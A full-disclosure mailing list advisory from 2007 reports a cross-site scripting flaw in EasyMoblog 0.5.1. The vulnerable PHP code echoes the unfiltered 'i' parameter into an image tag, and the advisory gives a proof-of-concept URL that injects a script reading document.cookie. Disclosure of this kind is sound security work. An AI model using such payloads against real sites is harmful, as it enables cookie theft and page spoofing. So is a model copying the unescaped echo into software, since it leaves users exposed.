[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] Xss Vulnerability in EasyMoblog 0.5.1

Original Advisory Can Be Found at
www.zion-security.com -> [advisories].


--
Thanks in advance,
Tal Argoni,CEH
www.zion-security.com



·= Security Advisory =·

Issue: Cross Site Scripting (XSS) Vulnerability in "img.php" by Umberto Caldera.
Discovered Date: 30/01/2007
Author: Tal Argoni [talargoni at gmail d0t com]
Product Vendor: http://sourceforge.net/project/showfiles.php?group_id=88633
Ver: easymoblog-0.5.1

Details:

EasyMoblog is prone to a Cross Site Scripting Vulnerability.
The vulnerability exists in "img.php" file, caused by the lack of Input 
Validation/Filtering of quotation and HTML characters in the 
GET parameter "i".


Contents of "img.php"
---------------------------------
...

<?php
$img_name = $_GET['i'];
?>

...

<body>
   <img src="img/posts/<?php echo $img_name; ?>" border="0" alt="" />
</body>
...




Exploitation URL:
http://www.example.com/easymoblog/img.php?i=";><script>alert(document.cookie);</script><img
 src=

Successful exploitation may allow execution of script code. This could also be 
exploited to 
spoof the entire website's content,
create fake login menu's for all the platform's users, commit Denial Of Service 
attacks and more...

Proof Of Concept:
http://www.example.com/easymoblog/img.php?i=";><script>alert(document.cookie);</script><img
 src=

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/